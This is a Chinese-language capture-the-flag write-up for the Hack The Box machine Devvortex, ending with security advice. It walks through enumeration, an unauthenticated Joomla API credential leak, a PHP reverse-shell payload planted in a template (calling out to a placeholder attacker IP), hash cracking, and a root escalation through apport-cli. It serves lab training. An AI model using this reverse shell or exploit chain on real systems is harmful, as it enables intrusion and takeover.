HTB-Devvortex-WriteUp
字数 1167 2025-08-29 08:29:58
HTB Devvortex 靶机渗透测试详细教学文档
1. 初始信息收集
1.1 端口扫描
使用nmap进行初始扫描:
nmap -sV -sC -p- devvortex.htb
1.2 网站访问问题解决
发现直接访问网页出现"unknown host"错误,需要将域名添加到hosts文件:
echo "10.10.11.242 devvortex.htb" | sudo tee -a /etc/hosts
2. 网站枚举
2.1 目录爆破
使用gobuster进行目录枚举:
gobuster dir -u http://devvortex.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
2.2 子域名发现
由于网站使用nginx,可能存在虚拟主机配置,使用wfuzz进行子域名枚举:
wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --hc 302
发现dev.devvortex.htb子域名,将其添加到hosts文件:
echo "10.10.11.242 dev.devvortex.htb" | sudo tee -a /etc/hosts
3. Joomla CMS利用
3.1 后台发现
访问http://dev.devvortex.htb/administrator发现Joomla后台登录页面。
3.2 未授权访问漏洞利用
利用Joomla未授权访问漏洞获取数据库凭据:
http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
http://dev.devvortex.htb/api/index.php/v1/users?public=true
从响应中获取关键信息:
- 用户名: lewis
- 密码: P4ntherg0t1n5r3c0n##
- 数据库名: joomla
- 数据库前缀: sd4fg_
3.3 后台登录
使用获取的凭据登录Joomla后台。
4. 获取Web Shell
4.1 通过模板注入PHP代码
- 在Joomla后台找到模板编辑功能
- 在模板文件中插入测试代码:
<?php phpinfo(); ?>
确认代码执行成功后,插入反弹shell代码:
<?php
$sock=fsockopen("攻击者IP",1234);
$proc=proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
4.2 设置监听器
在攻击机器上设置监听:
nc -lvnp 1234
访问包含恶意代码的模板文件获取反向shell。
5. 权限提升
5.1 信息收集
在/home/logan目录下发现results.txt文件,包含Joomla数据库配置信息。
5.2 MySQL数据库访问
使用获取的凭据登录MySQL:
mysql -u lewis -pP4ntherg0t1n5r3c0n## -D joomla
5.3 获取用户密码哈希
在数据库中查找用户密码哈希,发现logan用户的bcrypt哈希:
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
5.4 密码破解
使用hashcat破解哈希:
hashcat -m 3200 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
破解结果为:tequieromucho
5.5 SSH登录
使用破解的凭据SSH登录:
ssh logan@devvortex.htb
6. Root权限获取
6.1 检查sudo权限
sudo -l
发现可以以root权限运行apport-cli。
6.2 生成崩溃报告
sleep 100 & killall -SIGSEGV sleep
这将在/var/crash/目录下生成崩溃报告文件。
6.3 利用apport-cli漏洞
使用已知的PoC利用apport-cli漏洞:
sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash
在apport-cli界面中按V查看报告,然后输入!/bin/bash获取root shell。
7. 总结
本靶机渗透测试的关键步骤:
- 通过子域名枚举发现开发子域名
- 利用Joomla未授权API漏洞获取数据库凭据
- 通过模板编辑获取Web Shell
- 通过数据库信息获取用户凭据
- 利用sudo权限漏洞实现权限提升
安全建议:
- 限制API访问权限
- 使用强密码并定期更换
- 及时更新CMS和插件
- 限制sudo权限
- 监控系统日志和异常行为